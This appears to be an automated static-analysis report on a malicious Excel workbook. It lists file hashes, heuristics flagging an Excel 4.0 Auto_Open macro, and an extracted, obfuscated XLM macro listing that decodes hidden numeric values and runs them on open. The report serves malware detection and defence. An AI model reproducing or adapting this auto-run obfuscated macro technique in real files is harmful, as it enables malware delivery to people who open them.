Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 070aa3955c65d338…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:37 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: bd11683e84bfefc9ca2a76862c4808b4 SHA-1: 9f36799cf641848b1137ec57a0d71bf88732d767 SHA-256: 070aa3955c65d3381d526c7c51b0b325c14c48246d1614c8addf918ef641e720
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6636 bytes
SHA-256: 8f90901bab94f07aa45a085d45567156b5ce8fcf9bd7678d25b2a7618bc2d743
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Afzx
' 0018     20 LABEL : Cell Value, String Constant - aHeOJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A189 
' 0018     26 LABEL : Cell Value, String Constant - bSuLfOXJAkl len=0 
' 0018     25 LABEL : Cell Value, String Constant - CwpKRUvvsI len=0 
' 0018     27 LABEL : Cell Value, String Constant - eZWHdoXZOKpE len=0 
' 0018     26 LABEL : Cell Value, String Constant - GYVSWeYfukG len=0 
' 0018     26 LABEL : Cell Value, String Constant - hRglXRSFHQB len=0 
' 0018     21 LABEL : Cell Value, String Constant - hyiaja len=0 
' 0018     27 LABEL : Cell Value, String Constant - IhpnhiUZcLIU len=0 
' 0018     25 LABEL : Cell Value, String Constant - IYgvUGFcPf len=0 
' 0018     25 LABEL : Cell Value, String Constant - jfamjowDvR len=0 
' 0018     27 LABEL : Cell Value, String Constant - JIMMwnniFWTT len=0 
' 0018     23 LABEL : Cell Value, String Constant - LjbTlgrg len=0 
' 0018     27 LABEL : Cell Value, String Constant - NRBCnublYrsG len=0 
' 0018     23 LABEL : Cell Value, String Constant - QwDrevOa len=0 
' 0018     24 LABEL : Cell Value, String Constant - TbZNIMwWi len=0 
' 0018     26 LABEL : Cell Value, String Constant - UCMuwBImeol len=0 
' 0018     23 LABEL : Cell Value, String Constant - uIwnfVsB len=0 
' 0018     22 LABEL : Cell Value, String Constant - utaERuk len=0 
' 0018     23 LABEL : Cell Value, String Constant - XsIBhLvY len=0 
' 0018     21 LABEL : Cell Value, String Constant - yQEKom len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Afzx,P68,"",-603.00000000000000000000
'  Afzx,P69,"",266.00000000000000000000
'  Afzx,P70,"",741.00000000000000000000
'  Afzx,P71,"",-811.00000000000000000000
'  Afzx,P72,"",329.00000000000000000000
'  Afzx,P73,"",-434.00000000000000000000
'  Afzx,A87,"SET.NAME("aHeOJ",0+VALUE("0"))",""
'  Afzx,A90,"SET.NAME("utaERuk",aHeOJ)",""
'  Afzx,A94,"SET.NAME("IhpnhiUZcLIU",aHeOJ)",""
'  Afzx,A98,"SET.NAME("TbZNIMwWi",COUNTA(IYgvUGFcPf))",""
'  Afzx,A103,"SET.NAME("QwDrevOa",COUNTA(UCMuwBImeol))",""
'  Afzx,A106,[],""
'  Afzx,A111,"SET.NAME("eZWHdoXZOKpE","")",""
'  Afzx,A115,"utaERuk",""
'  Afzx,A120,"SET.NAME("uIwnfVsB",HLOOKUP("*",IYgvUGFcPf,utaERuk,FALSE))",""
'  Afzx,A125,"bSuLfOXJAkl",""
'  Afzx,A129,"SET.NAME("JIMMwnniFWTT",aHeOJ)",""
'  Afzx,A134,[],""
'  Afzx,A139,"JIMMwnniFWTT",""
'  Afzx,A142,"LjbTlgrg",""
'  Afzx,A147,"yQEKom",""
'  Afzx,A150,"GYVSWeYfukG",""
'  Afzx,A155,"SET.NAME("CwpKRUvvsI",VALUE(HLOOKUP("*",UCMuwBImeol,GYVSWeYfukG,FALSE)))",""
'  Afzx,A160,"hRglXRSFHQB",""
'  Afzx,A163,"eZWHdoXZOKpE",""
'  Afzx,A165,"IhpnhiUZcLIU",""
'  Afzx,A167,NEXT(),""
'  Afzx,A170,"XsIBhLvY",""
'  Afzx,A174,[],""
'  Afzx,A178,"hyiaja",""
'  Afzx,A182,NEXT(),""
'  Afzx,A185,RETURN(),""
'  Afzx,A217,"SET.NAME("jfamjowDvR",A87)",""
'  Afzx,A222,"IYgvUGFcPf",""
'  Afzx,A224,"SET.NAME("UCMuwBImeol",R78C13)",""
'  Afzx,A229,"SET.NAME("hyiaja",236)",""
'  Afzx,A233,"SET.NAME("NRBCnublYrsG",1)",""
'  Afzx,A235,jfamjowDvR(),""
'  Afzx,A236,HALT(),""

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